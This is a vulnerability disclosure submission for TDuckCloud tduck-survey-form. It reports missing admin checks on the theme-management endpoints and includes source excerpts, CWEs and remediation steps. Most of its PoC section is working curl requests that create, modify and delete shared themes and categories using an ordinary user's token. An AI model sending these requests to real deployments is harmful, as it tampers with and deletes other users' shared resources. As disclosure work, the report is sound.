| 标题 | Github tduck-survey-form 4.0-5.3 broken access controll |
|---|
| 描述 | # TDuck Form Platform: Missing Function-Level Authorization in `/form/theme/**` Allows Any Authenticated User to Create/Modify/Delete Global Theme Templates and Categories
## Summary
**Title:** The theme-management endpoints `/form/theme/**` of TDuckCloud `tduck-survey-form` carry no authorization checks beyond the global login interceptor, so any ordinary authenticated user (non-admin) can create, modify and delete the **globally shared** form-theme templates and theme categories, polluting or breaking the appearance resources used by all users.
Form themes and theme categories are **global resources** (all users pick form appearances from the same theme library, e.g. `GET /form/theme/list` returns everything). Yet none of the methods of `FormThemeController` performs any authorization check: there is no `@NotLogin`/`@PermitAll` (so only the global login interceptor applies — being logged in is sufficient), no `SecurityUtils.isAdmin()` assertion (compare the admin-only `FormTemplateController`, whose write endpoints all assert `Assert.isTrue(SecurityUtils.isAdmin(), "无权限访问")`), and themes have no owner concept (`FormAuthUtils` does not apply). Verified: an ordinary user (`admin=false`) successfully created a global theme (id=236) that became visible to other users, then modified it, and deleted both the theme and a global category — every operation returned `code=200`.
## Affected Product / Versions
| Item | Value |
| ------------------ | ------------------------------------------------------------ |
| Product | TDuckCloud `tduck-survey-form` (open-source Java Spring Boot online form platform) |
| Affected component | `tduck-api` module `FormThemeController`; `tduck-form` module `FormThemeServiceImpl` |
| Affected versions | All releases shipping this controller. Verified against official image `tduckcloud/tduck-platform` (build 2026-06-10) and source baseline commit `43ffa9c9` (tag `Tduckx-13`); the `v5.0` and `v4.0` source tags contain the same controller without any admin/ownership checks. |
| Test environment | `http://localhost:8999`; attacker is an ordinary user (login response `"admin":false`) |
## Root Cause (source evidence)
`tduck-api/.../web/controller/FormThemeController.java` (excerpt):
```java
@PostMapping("/theme")
public Result save(@RequestBody FormThemeEntity formTheme) {
return Result.success(formThemeService.save(formTheme)); // ← no check at all
}
@PutMapping("/theme")
public Result update(@RequestBody FormThemeEntity fmFormTheme) {
return Result.success(formThemeService.updateById(fmFormTheme)); // ← no check at all
}
@DeleteMapping("/theme/{ids}")
public Result delete(@PathVariable List<Long> ids) {
return Result.success(formThemeService.removeByIds(ids)); // ← no check at all
}
@PostMapping("/theme/category")
public Result saveCategory(@RequestBody FormThemeCategoryEntity formThemeCategory) {
return Result.success(formThemeService.saveThemeCategory(formThemeCategory)); // ← no check
}
// updateCategory / deleteCategory likewise
```
- All methods of `FormThemeServiceImpl` (`listThemeCategories/getThemeCategory/saveThemeCategory/updateThemeCategory/deleteThemeCategory`) contain no reference to `SecurityUtils`/`FormAuthUtils`.
- **Control group** (admin-only endpoints in the same project), `FormTemplateController.java:51/91/131/140/149`: `Assert.isTrue(SecurityUtils.isAdmin(), "无权限访问")`.
- The interceptor's admin-path whitelist covers only `/mange/**` and `/system/env/**` (`AuthorizationInterceptor`) — `/form/theme/**` is not included.
- Themes/categories are global resources (`GET /form/theme/list` returns them to all users), so "any logged-in user can write" directly equals "any logged-in user can pollute global resources".
## CWE
- CWE-862: Missing Authorization (function-level)
- CWE-284: Improper Access Control
- CWE-269: Improper Privilege Management (ordinary users can alter global resources)
## Attack Vector & Preconditions
- Attacker: any ordinary registered user (`admin=false` suffices; no special privileges).
- Precondition: a valid login session only.
- Impact: create malicious themes/categories → pollute the global theme library (other users' form appearances replaced/interfered); modify existing themes → global appearance rewritten; bulk-delete themes/categories → global form rendering failures (availability).
## PoC (verified evidence)
> Environment `http://localhost:8999`; auth header `token: <JWT>`.
> Attacker `[email protected]` (id=1002; login response `"admin":false`).
### 1) Ordinary user creates a global theme (POST /form/theme)
```bash
curl -s -X POST "http://localhost:8999/form/theme" \
-H "token: <attacker-token>" -H "Content-Type: application/json" \
-d '{"name":"poc-theme-v5","style":1,"headImgUrl":"http://evil.example/h.png","themeColor":"#00FF00"}'
```
Actual response: `{"code":200,"msg":null,"data":true}` (created, theme id=236).
(Note: `fm_form_theme.head_img_url` is a NOT NULL column, so the creation request must include it.)
### 2) Global visibility check (the victim's session sees the attacker's theme)
```bash
curl -s "http://localhost:8999/form/theme/list?style=1" -H "token: <victim-token>"
```
Actual hit in the response: `THEME 236: poc-theme-v5 #00FF00 http://evil.example/h.png` — the attacker-created theme is visible to all users.
### 3) Ordinary user modifies the global theme (PUT /form/theme)
```bash
curl -s -X PUT "http://localhost:8999/form/theme" \
-H "token: <attacker-token>" -H "Content-Type: application/json" \
-d '{"id":236,"name":"poc-theme-v5-MODIFIED","style":1,"headImgUrl":"http://evil.example/h2.png","themeColor":"#FF0000"}'
```
Actual response: `{"code":200,"msg":null,"data":true}`; global list read-back: `THEME 236 NOW: poc-theme-v5-MODIFIED #FF0000 http://evil.example/h2.png` — the modification applies for all users.
### 4) Ordinary user creates and deletes a global category (POST/DELETE /form/theme/category)
```bash
curl -s -X POST "http://localhost:8999/form/theme/category" \
-H "token: <attacker-token>" -H "Content-Type: application/json" \
-d '{"name":"poc-cat-100103","sort":1}'
# Actual response code=200, category id=32
curl -s -X DELETE "http://localhost:8999/form/theme/category/32" -H "token: <attacker-token>"
# Actual response code=200
```
### 5) Ordinary user deletes any theme (DELETE /form/theme/{ids})
```bash
curl -s -X DELETE "http://localhost:8999/form/theme/236" -H "token: <attacker-token>"
```
Actual response: `{"code":200,"msg":null,"data":true}` (deleted; DB row removed).
→ Create, modify and delete (both themes and categories) all succeeded with an ordinary account, and the modified/deleted objects are globally shared resources — vulnerability confirmed.
## Impact
1. **Integrity (Medium–High):** the global theme library/categories can be altered by any user; other users' form appearances get polluted, replaced or broken.
2. **Availability (Medium):** bulk deletion of themes/categories can cause global form rendering failures.
3. Very low exploitation threshold: an ordinary registered account; no admin privileges required.
## Remediation
1. Add `Assert.isTrue(SecurityUtils.isAdmin(), "无权限访问")` to all write endpoints of `FormThemeController` (consistent with `FormTemplateController`).
2. Alternatively, split "theme marketplace administration" into dedicated admin endpoints and keep only read-only `list/detail` capabilities on the user side.
3. Enforce the same check in the service layer (`FormThemeServiceImpl`) so future entry points cannot miss it.
## Reproducer Script
A dependency-free Python 3 reproducer for this issue is provided as `tduck-poc/poc_form_theme_write.py` and has been executed successfully against the same target and ordinary (non-admin) accounts described above:
```bash
python3 poc_form_theme_write.py --account [email protected] --password xxx
```
> The script defaults to `http://127.0.0.1:8999` with the `token` auth header (this deployment's `platform.jwt.header`); replace the test accounts/address before submission, consistent with the PoC in the body.
## References & Disclosure
- Affected source: `tduck-api/.../web/controller/FormThemeController.java` (`save/update/delete/saveCategory/updateCategory/deleteCategory`); `tduck-form/.../service/impl/FormThemeServiceImpl.java`; control group `FormTemplateController.java:49-151` (`SecurityUtils.isAdmin` assertions)
- Verified 2026-08-30 in an authorized test environment; coordinated disclosure through the vendor's official channel (TDuckCloud open-source repository issues) is recommended.
> Disclaimer: this report is solely based on security testing performed in an authorized environment; replace test addresses/accounts before submission. |
|---|
| 来源 | ⚠️ https://github.com/LinYuanyi1/cve-request-poc/blob/master/tduck/poc_form_theme_write.py |
|---|
| 用户 | lincoke (UID 100021) |
|---|
| 提交 | 2026-09-07 10時08分 (1 月前) |
|---|
| 管理 | 2026-10-11 11時47分 (1 month later) |
|---|
| 状态 | 重复 |
|---|
| VulDB条目 | 410432 [TDuckCloud tduck-survey-form 直到 6.0 FormThemeController poc_form_theme_write.py 权限提升] |
|---|
| 积分 | 0 |
|---|